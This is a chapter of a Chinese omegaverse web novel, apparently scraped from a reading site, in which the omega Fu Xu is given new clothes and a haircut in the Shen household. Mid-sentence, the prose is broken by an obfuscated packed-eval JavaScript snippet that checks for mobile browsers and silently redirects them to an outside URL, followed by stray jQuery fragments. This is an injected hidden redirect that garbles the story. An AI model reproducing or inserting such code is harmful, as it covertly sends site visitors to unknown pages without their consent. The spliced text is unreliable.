这样的东西他见过的,当年在福利院的时候院长就有一小块颜色差不多的,当时的院长爱不释手,后来福利院马上要倒闭,他看见院长将这个东西卖掉,福利院又能开下去了。
现在这么大一个应当值不少钱吧?
宗远斜眼看向符叙,似是呵斥他们又像是警告符叙:“这东西可金贵着呢,是家主送给老爷的生辰礼物,你们要是碰坏了小心军法伺候。”
“是。”
说完,宗远又拿出手机放在耳边:“家主,嗯,已经全部送到了。”
不知对方在电话里说了什么,宗远愣了一下,随即眯起眼回头看向符叙,咬牙道:“好的家主。”
符叙的腿缓过来一些后随即就想回到房间,还是等沈先生回来吧。
“站住。”宗远叫住他,符叙回过头看见宗远挥了挥手,后面的递给他几个塑料包装的东西,“这是家主给你准备的衣服,还有这个手环,等下会有人来给你服务。”
符叙的头发许久都没有打理过,已经很长了,平时都是随意扎起来,加上那宽大的衣服,说他是家主从垃圾堆里捡出来的都有信。
宗远现在是看着这个omega就上火,之前老爷子说找到了一个完美适配家主的omega,怎么想也该是一个顶级的美艳,现在这个别说信息素了,甚至都不像个人样,他想不明白家主怎么偏偏就留下他了。
符叙提防地看着宗远,给他东西……不会又是想将他送出去吧?
“你有没有在听人说话?”宗远皱起眉。
符叙猛地抬起头,脸上是一贯标准的笑容,这是平日里大家最喜欢的弧度:“不好意思,我听到了的,给您添麻烦了。”
宗远的眼神在符叙身上来回打量着,心想脾气倒是还不错,也就这一点像个omega。
毕竟在现在的规则下,只能讨好alpha,依附alpha才能活,但这是每一个omega都该会的东西,除此之外符叙这个人他真是看不出来一点优点。
“你还愣着干嘛呢?”宗远催促道,“抓紧洗澡把衣服换上。”
“好,好的。”符叙抱着衣服连忙回了房间。
符叙回到房间,在往里走是一件浴室,里面白色的瓷砖反射着明亮的光芒,每一样物品都干干净净的,整栋房子里,只有他才像那个最不应该出现的东西。
想着宗远还在楼下,符叙连忙走了进去。
面对眼前这个银色的花洒,符叙又犯了难,他……不会用这些,这和符家那个简陋的装置完全不一样,说是浴室,其实不过是用桶收集一些水而已。
轻轻抬了一下能动的东西,一股巨大的水流从头顶倾斜而下,符叙整个人直接被淋成了落汤鸡,伤口和红肿的手臂凌迟一般的疼。
水很凉,不过好在里面没有冰碴和异物。
符叙快速给自己清理干净,又借着水流搓了几下自己原本的衣服将身上擦干,确认不会滴水弄脏地毯后才走出浴室。
两个包装袋里是白色的睡衣,毛茸茸的兔子图案,光是用手摸着就能感受到温暖。
这……真的是给他的吗?
符叙反复摸着睡衣的一角,嘴角忍不住扬起。
好舒服的手感。
看了很久,符叙才舍得把衣服整个拿出来套在身上,稍大了一点点,袖口很长,不太方便做饭和打扫房间。
符叙挽起一点点袖口,踩着拖鞋飞速下楼,希望沈先生的助理不要生气才好。
此时其他人已经离开,宗远和一个男人站在客厅,宗远看着文件,男人正在不耐烦地看着手表。
“抱歉,让您久等了。”符叙走过去小心翼翼道。
“是等了很久了。”宗远还未开口,一旁的男人率先出了声,一个omega居然敢让他们等这么久,他早就开始不耐烦了,如果不是家主让他来,他一个s级alpha怎么会来服务一个omega。
男人的信息素外溢,整个客厅都蔓延着不悦的味道,符叙虽然闻不真切信息素的味道,可面对alpha的信息素威压感觉还是很强烈的,就像是有一双大手扼住他的咽喉,让他喘不上气。
“你她妈的在做什么?”宗远以迅雷不及掩耳的速度抬手,直接捏在男人的腺体上,“把你的信息素收起来,不然我现在就捏爆你的腺体。”
男人怒目而视,按住宗远的手臂:“我们是战友,你为了一个劣质omega这么对我?”
宗远冷哼一声,紧接着道:“我只想做好家主吩咐的事情,他是家主的omega,你是活腻歪了吗?你,最好别把你的信息素留在家主的房子里,你也知道的,家主最讨厌他家里有其他人的信息素味道。”宗远阴测测地笑出了声,“你还记得上一个敢在家主家里释放信息素的人怎么样了吗?那张皮,还是你亲自剥下来的,你忘了?”
男人脖子上青筋暴起,后槽牙咬的咯吱咯吱响,立马收回了自己的信息素,宗远这才放开了他,男人揉着后颈极力压制自己的情绪:“真不愧是家主一手带出来的狗,脾气还真是一模一样。”
宗远冷眼看向他:“能像家主是我的荣幸,现在,干好你自己的事情,下次我不会再帮你收拾烂摊子。”
符叙在一旁险些倒在地上,即便男人收回了信息素,残留的气息也让他动弹不得。
过了很久,宗远将屋内的信息素清理了一番后符叙才坐在了镜子面前。
“你这个头发,留不留着?”男人没好气地问道。
符叙用手卷着发尾,看向镜子里的自己:“可以……选一个沈先生喜欢的样子吗?”
果然是个想勾引家主的omega。
宗远站在两人身后,若有所思,既然家主给这个人留下了,他就有取悦家主的义务,这么说也无可厚非。
这么想着,宗远还是试探性地给沈楼尘去了一个电话,这个时间家主应该开完会了。
沈楼尘很快接了电话。
“家主,这个o……沈太太说,想让你选择喜欢的发型。”
沈楼尘转着手中的钢笔,随口道:“看他自己就行了,不用来问我。”
“是。”宗远就知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207990|181325||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家主会这么回答,就现在的情况来讲,家主的每分每秒都很重要,怎么可能留给一个劣质omega。
沈楼尘刚想挂掉电话,那头忽地传来很轻的一句话,“如果要把我送走的话,我能再见沈先生一面吗?”
像是符叙的声音。
这个omega,还是在害怕把他送走。
沈楼尘放下手中的笔,叹了口气:“我等下就回去。”
“家主说等下会回来。”宗远放下手机回身说道,“等一会儿吧。”
男人点点头,从镜中打量着符叙。
实际上符叙还是有些姿色的,虽然瘦弱,皮肤倒是很好,细腻如雪,说起话来是唇红齿白的生动模样,很难想象这是一个劣质omega,只是露出来的双手上布满了老茧和冻疮,更像是常年做苦力才会出现的那种。
符叙动也不敢动,任凭男人观察着自己,不知道等了多久,一阵脚步声由远及近传过来,抬眼间沈楼尘已经站在了他身后。
“沈……沈先生。”符叙连忙起身行礼,却被沈楼尘一只手按了回去。
“omega都喜欢什么样的打扮?”沈楼尘匆忙回来,身上还带着凛冽气息,他脱掉外套,微微拧起眉心,回头看向男人,“任九,你接触omega最多,你说。”
任九吞了下口水,面对沈楼尘巨大的威压开始有些呼吸困难:“这要看alpha怎么想了。”
又是这句话。
沈楼尘得不到有用的信息,转而面向符叙,指尖探上符叙略长的头发:“想要留着吗?”
“先生,先生喜欢就好。”符叙知道,想要留在沈家,甚至于想过的好一些都要仰仗于这个alpha,哪怕他没有信息素,能让沈先生觉得他还可以被看几眼,也是可以的。
沈楼尘板起脸,一字一句道:“要你自己喜欢,你是我的妻子,不是附属于我的omega,既然让你留下,那这个家也是你的,你不需要任何事。也不需要因为任何人,来讨好我。”
妻子……
这还是符叙第一次听到不是“废物”、“垃圾”、“窝囊废”之类的,称呼他的名字。
如果不需要讨好沈先生的话,他更不知道该做什么了。
可是……符叙望向镜中的自己,头发散乱像是个疯子,他想起符嘉泽也曾经笑话过他,骂他就该呆在垃圾堆里。
这头发包含了太多的屈辱,或许,不要也是好的。
“沈先生。”符叙鼓起勇气说道,“我想剪掉可以吗?”
沈楼尘轻轻垂眼,而后缓缓抬起,伴随着一个细微的点头动作,表达了自己的认可,随即偏过头对宗远道:“对沈夫人不敬,让他回去自己领罚。”
“是。”
任九将符叙的头发用夹子夹起来,三下五除二就将多余的头发剪了个干净,接着秉承着“要让家主满意”的信念,给这个omega设计发型。
不到一小时,任九看着自己的作品还算满意,转过椅子,见沈楼尘还坐在沙发上处理文件,于是小声提醒道:“家主,好了。”